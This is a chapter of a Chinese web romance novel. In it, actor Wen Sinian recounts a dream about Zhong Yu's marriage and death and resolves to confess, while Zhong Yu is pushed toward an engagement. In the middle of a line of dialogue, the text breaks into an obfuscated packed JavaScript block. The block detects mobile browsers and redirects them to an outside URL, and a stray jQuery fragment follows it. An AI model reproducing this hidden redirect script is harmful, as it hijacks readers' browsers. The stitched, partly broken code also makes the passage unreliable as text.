鹤争 作品
14. 梦境
“好在补拍戏份已经结束了,否则我还真不放心只留下小陆去处理,”吴雪将油门踩到底,“回去的路程开车要八个小时,所以你现在有时间可以跟我慢慢讲你那个梦了——你说你梦见钟毓在你疏远她之后,跟另一个男的火速结婚了,并且在婚后一年去世了,并且,现在在永不加班跟她约会的那个男的,就是那个人,是这个意思吗?”
温斯年“嗯”了一声。
吴雪思索着发问:“首先,我并没有质疑你的意思,但是这并不能证明你的梦是真的,我是个坚定的唯物主义者哈,不太相信世界上有预知梦这种东西,就现代科学来讲,我更倾向于你某种途径下从钟毓那里听说过这个李子傲,只是你不记得了,但潜意识里你将这个名字和钟毓联系了起来并有了危机感,所以才会在梦里进行二次加工,梦到这个情节。”
“我不知道,”温斯年靠在后座,揉着眉心,长时间的睡眠和梦境让他的大脑疲累且混沌,身体机能的下降也让他的思维迟钝,梦里曾经清晰的细节像潮水退去一般,消失得无声无息且不留痕迹,连他刚睡醒时确定要阻止这件事发生的冲动都变弱了,“可我直觉这是真的。”
“好吧,不管是我的艺人因为太累精神出现了问题,还是他真的突然变成马猴烧酒拥有了预知的能力,”吴雪换了档位提高了速度,“总归我是支持你把初恋追回的,勇敢地去吧!”
温斯年闭上双眼,忍不住又想起那开始淡忘的梦境。
在他的梦里,前半段和现实基本重合,他因为恋情爆料的乌龙,为了不牵扯到钟毓开始疏远对方,想等转幕后之后再光明正大堂堂正正地追求钟毓,可没过多久他就收到了钟毓妈妈送给段茹的结婚请柬。
他忍不住去了她的婚礼,她平静如水,甚至还能跟一脸遗憾的段茹开句玩笑,她那位外籍丈夫揽着她的后腰,温文又和善,甚至主动跟他碰了杯。
他再一次错过了,像从前的许多次一样,错过了最后一次靠近她的机会,但是她似乎很幸福。
也好,他的心愿不就是让她幸福吗?
他喝下那杯酒,真诚地祝愿她天天开心。
她的目光遥遥望着他,说了句谢谢。
梦境变幻,时间流驶,温斯年失去了再联系对方的资格,只能隐隐约约从段茹那里得知一些零散的消息,比如钟毓从十二中辞职了,身体状况似乎不太好,在家里静养,齐淑琴跟她抱怨说不知道什么时候才能抱上外孙。
温斯年想见她,可是该见吗?
她已经是别人的妻子了,他这样的肖想和挂念对对方来说,或许是一种困扰才对。
但是他忍不住,那时他已经转幕后了,个人生活自由了许多,李子傲的工作和公司有些重合,某次举办了酒会,温斯年代被邀请的许言科前往了。
他因为犹豫而迟到,在走近那栋房子时,他站在楼下,一眼望见了阁楼上的钟毓。
她和他高中时期暗恋的模样,或是半年前重逢时的模样都完全不同,消瘦了许多,穿了件吊带的黑色裙子,裙子很修身,让她看上去瘦得惊人,长发披在一边,遮住了她一半的面庞,昏黄的灯光照在她的脸上,她点了支烟咬着,烟雾氤氲了面容,他们隔着那团白色的烟雾相望。
猩红的火点在静默中明明灭灭,她最后什么都没说,只冲楼下的他招了一下手,有点懒懒的。
他觉得,她好像并不快乐。
那一瞬间他是愤恨和怨怼的,怨她的丈夫,明明已经成为了世界上最幸福的人,却不知道珍惜,让她这样难过。
也怪她,为什么要选择这样的人,为什么。
他冲动地冲上楼去,穿过一众宾客,几乎要质问那个男人,却看到他给钟毓披上一件西装外套,钟毓笑了下,挽住了他的手臂。
那是一种旁若无人又顺理成章的亲密,是他无法融入的,没有资格置喙的。
她身上那种纤细脆弱的透明感好像一下子消失了,无影无踪,他开始怀疑刚刚的自己,或许是爱而不得让他真的出现幻觉了。
好吧,总归她还是幸福的,倒是他,或许该去看看医生。
梦境至此变得支离破碎,没有逻辑的片段充斥着,让他在复盘时甚至很难完全想起来。
直到梦境最后,段茹一脸惊慌地打电话给他,说钟毓去世了。
他从国外坐最近一班飞机赶回,一路上都在想,一定是妈妈听错了,说错了,或者是他不再认识中文了。
直到他看到钟毓的葬礼,遗体已经火化,她的家人们哀戚地主持着葬礼,对她的死因却讳莫如深。
她最好的朋友周厉认出来他,递给他一个有些旧但保存得很好的笔记本。
“既然你来了,我想,你应该知道这些。”
那是一个黑色牛皮纸的笔记本,因为年代太久,封面的牛皮变得很硬,温斯年摩挲了很久才下定决心打开——
铃声响起,他被许言科的电话拉回现实,而那本承载了不知是什么秘密的笔记本就永远封印在了梦境当中。
“我觉得那个笔记本可能和事情的真相有关,”温斯年喝了口水,“可能有什么线索,我当时应该挂断电话继续睡的,也许梦还能继续。”
前排的吴雪也陷入了思考:“一般电视剧电影里,确实会这样设置,主人公有写日记的习惯,会记录下一些被人忽略的细节,钟毓习惯写日记吗?”
温斯年迟疑着:“这个……”
“哦抱歉,”吴雪毫无歉意地打断了他,“忘记你只是一个默默的暗恋者了,你怎么会知道这些事情。”
温斯年:“……我知道她文采很好,她上学时的经常发表文章,那时我路过她的班级,也看见过几次她在笔记本写自己的东西。”
吴雪“嗯哼”了一声:“不过我很好奇啊温总,你在公司决策上和职业规划上很果断,但怎么做到的和你初恋的关系变成现在这个样子的?你读高中的时候就暗恋人家了吧,为什么没有追求她呢?”
“我当然想过。”温斯年抿了下唇。
“我确定我喜欢她时,是临近高考的时候,可是我不能去告诉她,她小我两级,在我上大学时她才高二,去告白,去追求,跟她谈恋爱是浪费她的时间,分散她的精力,是在害她,我不能做这样的事。”
“我等了两年,在她高考结束后去A市一中的毕业典礼找她,想跟她告白。”
“但有另一个人早我一步,”温斯年的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253249|166122||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
说,“她答应了他。”
“哦莫,”吴雪感叹了一声,“所以你就……走了?默默退场?”
“我们之间好像总是差一点,时间总不那么合适,永远都差一点,”温斯年很淡地笑了一声,“包括现在也是,我们相遇的时间并不合适,我还没有转到幕后,在这个时间去接近她,真的合适吗?”
“所以你打算又一次退缩,想自己把事情全都处理好,然后再去追求她吗?”吴雪打断了他,“温斯年,你醒醒吧,你凭什么要求钟毓这么等你,况且半年只是你的预计时间,如果有意外呢,如果你半年后还是没有如期退圈呢?你要让钟毓一直一直地等下去吗?”
“世界上哪有什么刚刚好,机会一次次地溜走后,你就没有机会了。”
吴雪很重地呼了一口气:“说句实话,我并不太相信你所谓的梦境论,但我觉得,你最好现在就去找钟毓,告诉她你喜欢她,无论她在你和那个老外之间会不会选择你,你都要去,别把一切锅都推给时机不合。”
“而且,假如你的梦是真的呢?”
“你也许就是整件事里唯一能撬动结局的那个变量。”
温斯年透过后视镜,看着自己这位总爱开玩笑一切以工作为先的工作狂经纪人,第一次觉得自己看到了她的另一面。
“好。”
“我会的。”
*
钟毓坐在饭桌边,听着长辈们说话,有些走神。
“你不舒服吗?要不要来一点热的可可?”李子傲看出了她的不适,轻声耳语。
“不用了。”钟毓摆摆手拒绝,昨天在永不加班里,李子傲跟她告白了。或者也不算告白,只是戳破了相亲的本质,问她愿不愿意跟自己结婚,钟毓本能地想要拒绝,可理智又想不出任何拒绝的理由,李子傲是个很不错的人,她想起父母为她恋爱生活的歇斯底里,觉得疲乏。
既然人生的归宿是在父母的逼迫下和某个人共度残生,那李子傲至少不讨厌。
她没有答应,也没有拒绝。
她觉得自己该习惯着和李子傲相处,可当刚刚李子傲靠过来时,她还是不由自主地想要退开到安全距离里。
“你看你看,这一对小儿女多甜蜜呀,这就说起悄悄话来了,也说给我们听听呗。”董玉眉打趣道,齐淑琴笑得合不拢嘴拍她一下:“老没正经的,人家小情侣的悄悄话你也想听了。”
钟父也笑了两声:“我看孩子们相处得不错,leo这孩子我也一直喜欢,我看咱们什么时候就把事订下来吧。”
“好啊好啊!”董玉眉点头,齐淑琴也立刻翻看手机:“下周六是个好日子诶……”
钟毓对这件事的进展感到恐惧,忍不住阻拦:“等下,是不是太……”
她的声音被淹没在长辈们的“对对对”“就这天”里,像一颗珍珠从项链上脱落,滑进了长绒地毯里,悄无声音地被淹没了。
李子傲笑了笑:“别紧张,只是订婚,朋友家人们一起吃个饭而已,不是结婚领证。”
他们好像都觉得这件事正常又合理,钟毓最终沉默下来,怀疑是不是自己太小题大做。
手机响了一声,有新的消息。
【w:抱歉,前几天我没有拿到手机,不是故意不发消息的,我到A市了,可以见一面吗?】